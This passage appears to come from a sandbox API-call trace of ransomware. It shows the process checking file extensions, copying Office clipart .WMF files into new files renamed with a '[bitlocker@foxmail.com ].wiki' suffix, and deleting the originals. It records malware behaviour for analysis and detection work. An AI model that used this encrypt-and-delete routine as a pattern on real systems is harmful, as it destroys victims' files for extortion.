lstrlenW (lpString=".rar") returned 4 [0199.489] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.489] lstrlenW (lpString=".bz2") returned 4 [0199.489] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.489] lstrlenW (lpString=".7z") returned 3 [0199.489] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185780.WMF") returned 63 [0199.489] lstrlenW (lpString=".dbf") returned 4 [0199.489] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185780.WMF") returned 63 [0199.489] lstrlenW (lpString=".1cd") returned 4 [0199.489] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185780.WMF") returned 63 [0199.489] lstrlenW (lpString=".jpg") returned 4 [0199.489] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185780.WMF") returned 63 [0199.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185780.WMF") returned 63 [0199.489] lstrlenW (lpString=".doc") returned 4 [0199.489] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.489] lstrlenW (lpString=".docx") returned 5 [0199.489] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0199.489] lstrlenW (lpString=".pdf") returned 4 [0199.489] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.490] lstrlenW (lpString=".xls") returned 4 [0199.490] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.490] lstrlenW (lpString=".xlsx") returned 5 [0199.490] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0199.490] lstrlenW (lpString=".ppt") returned 4 [0199.490] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185780.WMF") returned 63 [0199.490] lstrlenW (lpString=".zip") returned 4 [0199.490] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.490] lstrlenW (lpString=".rar") returned 4 [0199.490] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.490] lstrlenW (lpString=".bz2") returned 4 [0199.490] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.490] lstrlenW (lpString=".7z") returned 3 [0199.490] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185780.WMF") returned 63 [0199.490] lstrlenW (lpString=".dbf") returned 4 [0199.490] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185780.WMF") returned 63 [0199.490] lstrlenW (lpString=".1cd") returned 4 [0199.490] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185780.WMF") returned 63 [0199.490] lstrlenW (lpString=".jpg") returned 4 [0199.490] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.490] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0199.558] lstrlenW (lpString="J0185796.WMF") returned 12 [0199.558] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185796.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185796.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0199.558] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=25868) returned 1 [0199.558] CloseHandle (hObject=0x1c8) returned 1 [0199.558] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185796.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185796.wmf")) returned 0x20 [0199.559] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185796.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185796.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0199.559] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185796.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185796.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0199.572] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0199.572] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0199.572] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185796.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185796.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0199.590] GetLastError () returned 0x0 [0199.590] ReadFile (in: hFile=0x1c8, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x650c, lpOverlapped=0x0) returned 1 [0199.595] WriteFile (in: hFile=0x1e0, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0x6510, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x6510, lpOverlapped=0x0) returned 1 [0199.597] ReadFile (in: hFile=0x1c8, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0199.597] WriteFile (in: hFile=0x1e0, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0199.597] SetEndOfFile (hFile=0x1e0) returned 1 [0199.597] CloseHandle (hObject=0x1e0) returned 1 [0199.597] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0199.597] SetEndOfFile (hFile=0x1c8) returned 1 [0199.598] CloseHandle (hObject=0x1c8) returned 1 [0199.598] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185796.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0199.598] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185796.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185796.wmf")) returned 1 [0199.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185796.WMF") returned 63 [0199.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185796.WMF") returned 63 [0199.598] lstrlenW (lpString=".doc") returned 4 [0199.598] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.599] lstrlenW (lpString=".docx") returned 5 [0199.599] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0199.599] lstrlenW (lpString=".pdf") returned 4 [0199.599] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.599] lstrlenW (lpString=".xls") returned 4 [0199.599] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.599] lstrlenW (lpString=".xlsx") returned 5 [0199.599] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0199.599] lstrlenW (lpString=".ppt") returned 4 [0199.599] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185796.WMF") returned 63 [0199.599] lstrlenW (lpString=".zip") returned 4 [0199.599] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.599] lstrlenW (lpString=".rar") returned 4 [0199.599] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.599] lstrlenW (lpString=".bz2") returned 4 [0199.599] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.599] lstrlenW (lpString=".7z") returned 3 [0199.599] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185796.WMF") returned 63 [0199.599] lstrlenW (lpString=".dbf") returned 4 [0199.599] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185796.WMF") returned 63 [0199.599] lstrlenW (lpString=".1cd") returned 4 [0199.599] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185796.WMF") returned 63 [0199.599] lstrlenW (lpString=".jpg") returned 4 [0199.599] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185796.WMF") returned 63 [0199.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185796.WMF") returned 63 [0199.600] lstrlenW (lpString=".doc") returned 4 [0199.600] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.600] lstrlenW (lpString=".docx") returned 5 [0199.600] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0199.600] lstrlenW (lpString=".pdf") returned 4 [0199.600] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.600] lstrlenW (lpString=".xls") returned 4 [0199.600] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.600] lstrlenW (lpString=".xlsx") returned 5 [0199.600] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0199.600] lstrlenW (lpString=".ppt") returned 4 [0199.600] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185796.WMF") returned 63 [0199.600] lstrlenW (lpString=".zip") returned 4 [0199.600] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.600] lstrlenW (lpString=".rar") returned 4 [0199.600] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.600] lstrlenW (lpString=".bz2") returned 4 [0199.600] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.600] lstrlenW (lpString=".7z") returned 3 [0199.600] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185796.WMF") returned 63 [0199.600] lstrlenW (lpString=".dbf") returned 4 [0199.600] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185796.WMF") returned 63 [0199.600] lstrlenW (lpString=".1cd") returned 4 [0199.600] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185796.WMF") returned 63 [0199.600] lstrlenW (lpString=".jpg") returned 4 [0199.600] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.601] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0199.601] lstrlenW (lpString="J0186360.WMF") returned 12 [0199.601] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186360.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186360.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0199.601] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=33850) returned 1 [0199.601] CloseHandle (hObject=0x1c8) returned 1 [0199.603] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186360.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186360.wmf")) returned 0x20 [0199.604] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186360.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186360.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0199.604] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186360.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186360.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0199.604] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0199.604] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0199.604] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186360.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186360.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0199.604] GetLastError () returned 0x0 [0199.604] ReadFile (in: hFile=0x1c8, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x843a, lpOverlapped=0x0) returned 1 [0199.607] WriteFile (in: hFile=0x1e0, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0x8440, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x8440, lpOverlapped=0x0) returned 1 [0199.608] ReadFile (in: hFile=0x1c8, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0199.608] WriteFile (in: hFile=0x1e0, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0199.608] SetEndOfFile (hFile=0x1e0) returned 1 [0199.608] CloseHandle (hObject=0x1e0) returned 1 [0199.608] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0199.608] SetEndOfFile (hFile=0x1c8) returned 1 [0199.609] CloseHandle (hObject=0x1c8) returned 1 [0199.609] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186360.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0199.609] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186360.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186360.wmf")) returned 1 [0199.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186360.WMF") returned 63 [0199.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186360.WMF") returned 63 [0199.610] lstrlenW (lpString=".doc") returned 4 [0199.610] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.610] lstrlenW (lpString=".docx") returned 5 [0199.610] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0199.610] lstrlenW (lpString=".pdf") returned 4 [0199.610] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.610] lstrlenW (lpString=".xls") returned 4 [0199.610] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.610] lstrlenW (lpString=".xlsx") returned 5 [0199.610] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0199.610] lstrlenW (lpString=".ppt") returned 4 [0199.610] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186360.WMF") returned 63 [0199.610] lstrlenW (lpString=".zip") returned 4 [0199.610] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.610] lstrlenW (lpString=".rar") returned 4 [0199.610] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.610] lstrlenW (lpString=".bz2") returned 4 [0199.610] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.610] lstrlenW (lpString=".7z") returned 3 [0199.610] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186360.WMF") returned 63 [0199.610] lstrlenW (lpString=".dbf") returned 4 [0199.610] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186360.WMF") returned 63 [0199.611] lstrlenW (lpString=".1cd") returned 4 [0199.611] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186360.WMF") returned 63 [0199.611] lstrlenW (lpString=".jpg") returned 4 [0199.611] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186360.WMF") returned 63 [0199.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186360.WMF") returned 63 [0199.611] lstrlenW (lpString=".doc") returned 4 [0199.611] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.611] lstrlenW (lpString=".docx") returned 5 [0199.611] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0199.611] lstrlenW (lpString=".pdf") returned 4 [0199.611] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.611] lstrlenW (lpString=".xls") returned 4 [0199.611] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.611] lstrlenW (lpString=".xlsx") returned 5 [0199.611] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0199.611] lstrlenW (lpString=".ppt") returned 4 [0199.611] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186360.WMF") returned 63 [0199.611] lstrlenW (lpString=".zip") returned 4 [0199.611] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.611] lstrlenW (lpString=".rar") returned 4 [0199.611] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.611] lstrlenW (lpString=".bz2") returned 4 [0199.611] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.611] lstrlenW (lpString=".7z") returned 3 [0199.612] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186360.WMF") returned 63 [0199.612] lstrlenW (lpString=".dbf") returned 4 [0199.612] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186360.WMF") returned 63 [0199.612] lstrlenW (lpString=".1cd") returned 4 [0199.612] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186360.WMF") returned 63 [0199.612] lstrlenW (lpString=".jpg") returned 4 [0199.612] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.612] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0199.612] lstrlenW (lpString="J0186362.WMF") returned 12 [0199.612] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186362.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186362.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0199.612] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=17662) returned 1 [0199.613] CloseHandle (hObject=0x1c8) returned 1 [0199.613] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186362.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186362.wmf")) returned 0x20 [0199.613] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186362.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186362.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0199.613] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186362.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186362.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0199.613] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0199.613] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0199.613] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186362.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186362.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0199.613] GetLastError () returned 0x0 [0199.613] ReadFile (in: hFile=0x1c8, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x44fe, lpOverlapped=0x0) returned 1 [0199.616] WriteFile (in: hFile=0x1e0, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0x4500, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x4500, lpOverlapped=0x0) returned 1 [0199.617] ReadFile (in: hFile=0x1c8, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0199.617] WriteFile (in: hFile=0x1e0, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0199.617] SetEndOfFile (hFile=0x1e0) returned 1 [0199.617] CloseHandle (hObject=0x1e0) returned 1 [0199.617] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0199.617] SetEndOfFile (hFile=0x1c8) returned 1 [0199.618] CloseHandle (hObject=0x1c8) returned 1 [0199.618] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186362.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0199.618] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186362.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186362.wmf")) returned 1 [0199.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186362.WMF") returned 63 [0199.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186362.WMF") returned 63 [0199.618] lstrlenW (lpString=".doc") returned 4 [0199.618] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.619] lstrlenW (lpString=".docx") returned 5 [0199.619] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0199.619] lstrlenW (lpString=".pdf") returned 4 [0199.619] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.619] lstrlenW (lpString=".xls") returned 4 [0199.619] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.619] lstrlenW (lpString=".xlsx") returned 5 [0199.619] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0199.619] lstrlenW (lpString=".ppt") returned 4 [0199.619] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186362.WMF") returned 63 [0199.619] lstrlenW (lpString=".zip") returned 4 [0199.619] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.619] lstrlenW (lpString=".rar") returned 4 [0199.619] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.619] lstrlenW (lpString=".bz2") returned 4 [0199.619] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.619] lstrlenW (lpString=".7z") returned 3 [0199.619] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186362.WMF") returned 63 [0199.619] lstrlenW (lpString=".dbf") returned 4 [0199.619] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.619] lstrlenW (lpString="C:\\Program Files\\Microsoft 